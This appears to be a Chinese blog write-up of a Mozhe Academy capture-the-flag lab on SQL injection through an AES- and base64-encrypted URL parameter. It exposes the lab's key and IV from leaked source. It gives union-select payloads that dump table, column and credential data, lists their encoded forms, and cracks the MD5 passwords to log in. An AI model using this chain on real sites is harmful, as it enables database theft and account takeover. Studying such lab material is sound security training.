SQL注入漏洞测试(参数加密)

SQL注入漏洞测试(参数加密)

题目:
墨者学院-数据库安全-SQL注入漏洞测试

image-20230730161912649

解题思路以及步骤:
启动靶场环境并进入

image-20230730161952241

发现右下方有可以点击的地方,点进去查看一下

image-20230730162213605

进入后发现url当中有加密

image-20230730162302651

说明传入的数据被加密了,在源码当中通过解密分析得到原值,才可以得到查询结果。

根据题目的提示:

image-20230730162409557

观察url的信息

image-20230730162554598

通过观察url的信息提示,我们进行爆破该网站的目录,看能不能得到有用的信息

image-20230730162613918

爆破出来的目录进行访问,查看

点击访问该目录信息得到以下内容

image-20230730162715905

list.php为该站点首页即该登录界面
list.zip可能为备份的打包文件,点击下载

下载到本地后,解压后查看,发现是源码,如下:

<?php
header('content-type:text/html;charset=utf-8');
require_once '../config.php';
//解密过程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-6)!=='_mozhe'){
		echo '<script>window.location.href="/index.php";</script>';
	}else{
		return substr(trim($data),0,strlen(trim($data))-6);
	}
}
$id=decode($_GET['id']);
$sql="select id,title,content,time from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系统V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

通过源码分析可得知:

各个php函数含义和作用可查看网上相关资源,搜索查阅即可。

image-20230730163136634

两次base64解密

image-20230730163555917

得到该AES加密的偏移量和秘钥后,可进行解密

(AES加密方式输出方式可以base64方式输出)

先将此字符串进行base64解密,然后再进行AES解密,将base64解密后的结果放到AES界面工具的密文当中,结合秘钥和偏移量以及填充,可得原值。

image-20230730163735107

[在线base64解密工具]:Base64 编码/解码 | 菜鸟工具 (runoob.com) 或使用工具也可以

[在线AES解密工具]:在线AES加密解密、AES在线加密解密、AES encryption and decryption–查错网 (chacuo.net)

[在线AES解密平台]:AES加密、AES解密 - 在线工具 - OKTools

先将ZUlJOGMzSmVMMHQwZHhNN3diM056Zz09进行base64解密
解密后得到:
eII8c3JeL0t0dxM7wb3Nzg==

image-20230730164110523

将此值作为密文放到AES加解密平台当中,在将源码当中的秘钥和偏移量取出来,解密即可

明文:eII8c3JeL0t0dxM7wb3Nzg==
秘钥:ydhaqPQnexoaDuW3
偏移量:2018201920202021
填充值尝试即可

image-20230730164527305

接下来就可以开始注入了,注意观察源码的另一个细节

image-20230730164820877

这意思是将会进行判断我们传入的参数的后六位是否有_mozhe 如果没有则会跳转回index.php页面

尝试注入:

首先将sql语句写好然后进行AES加密,再进行base64加密,然后在放入到url当中即可。

都是同样的道理,先AES加密,再base64加密,将最后的加密结果放到url当中去访问执行即可。

注入语句:
1 and 1=1_mozhe
1 and 1=2_mozhe
判断字段个数:
1 order by 1_mozhe
1 order by 2_mozhe
.....
1 order by 5_mozhe的时候报错,说明有4列字段

判断回显点:
-1 union select 1,2,3,4_mozhe

查看数据库以及数据库版本:
-1 union select 1,database(),version(),4_mozhe

查看数据表的信息:
-1 union select 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()_mozhe

查看数据表的列信息:
-1 union select 1,database(),group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'_mozhe

获取敏感信息(username、password等):
-1 union select 1,database(),group_concat(name,"+",password,"+",status),4 from StormGroup_member_mozhe

首先AES加密

image-20230730165612032

再base64加密

image-20230730165651378

最后的加密结果,再放到url当中去:

页面无变化,将1=1,换成1=2

image-20230730165734709

同样的方法,先AES加密,再base64加密后,得到最后的加密结果,再放到url当中去访问:

1 and 1=2_mozhe
加密后的结果为:
L2d4cHU0dngxOU1hMTY1RWNzenBuUT09

页面没有显示内容,返回空白,由此可见存在注入,构造sql语言即可

image-20230730165859046

判断字段的个数:

同理,将构造的sql语句还是先AES加密,再base64加密,将最后的加密结果放到url当中去访问即可!

1 order by 1_mozhe
正常回显,将1换成2,3,4依次尝试,同样的先AES加密再base64加密,最后的加密结果放到url当中访问
当到1 order by 5_mozhe的时候报错,说明只有4列字段

image-20230730170344886

1 order by 5_mozhe
报错

image-20230730170601710

说明有4类字段信息

判断回显点:

image-20230730171131590

查看当前数据库以及版本:

image-20230730171351728

查看数据表:

image-20230730172030697

获取列的信息:

image-20230730172224231

获取用户的敏感信息:

image-20230730172655532

获取成功

在线MD5解密平台

分别将获取的密码进行解密

image-20230730172859255

image-20230730172921605

尝试登录:

用户名:mozhe
密码:dsan13

用户名:mozhe
密码:580325

哪个成功登录用哪个,由于查出来的结果status值为1的可正常登录,所以第二个可登录成功

image-20230730173127272

成功进入后台,获取到key

以上构造的sql语句AES加密,base64加密后的结果,通过url访问分别为:

判断回显点:
eGdkNThpcFRybng4VnpTQkppY3FDbzMrekZGemhheTVieUZVM2NqYmRlST0=

查询数据库以及版本:
eGdkNThpcFRybng4VnpTQkppY3FDb3B6cDN4UkU4UmxYUml0SnFOUzNiSG12bi9Nb0tJTkhBV1lhblRhYW5rYg==

查看数据表的信息:
eGdkNThpcFRybng4VnpTQkppY3FDZ25xQ0dSUCtaMzRxazhncDR6dkxpeU1wMnRIVGN0SEFSblZlTFlZR2lQcytmNUxjUWxzVW9pUm1OajN3U0NzQWxnZTNrQUxyRFlQd1kxQ1ZtaCtXMDMxbGpMNG4xVGlLdkRQSGdFd0UrRUk0aEd1bDg5OE9wWlpzbHZUdG1paVcxK05yR1dsOTlKWVF0YUNwVnladHJZPQ==

查看数据表的列的信息:
eGdkNThpcFRybng4VnpTQkppY3FDZ25xQ0dSUCtaMzRxazhncDR6dkxpd1NmaXU0U3hEUThrVmRKS1dGZGZvTGhlN0I0Tlc1bGIvbE9NRzVvelRRQW8wWkJ2UCtXaVNpSEl5NDRPeDdrQkt1L0ZSd3N0OTg5VkhyUVBqU1JVNEJSNUtyODk2K1pNcnZ6QVFZRTlZRGZRdjFmK05zaHpHM2V1K2Z4Z2ZBdkI3Ym5BTW14R2V6Q3Yra1k5bksrVTFO

获取敏感数据(name和password、status)
eGdkNThpcFRybng4VnpTQkppY3FDZ25xQ0dSUCtaMzRxazhncDR6dkxpdzV2MkRjSTFQb3owYXdFUi92TkZPN0QyWU82TG5TWHpSTVlaRVhFeG5FcUkyZEkwbUlyalRYWHkxTDhrYkFhRWxoZEg2YnhmeCtUUTlXWXNxaWFjajlHanNFVWpHbExYZ0N0azI5bUF1d0lnPT0=

文章不妥之处,欢迎批评指正!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值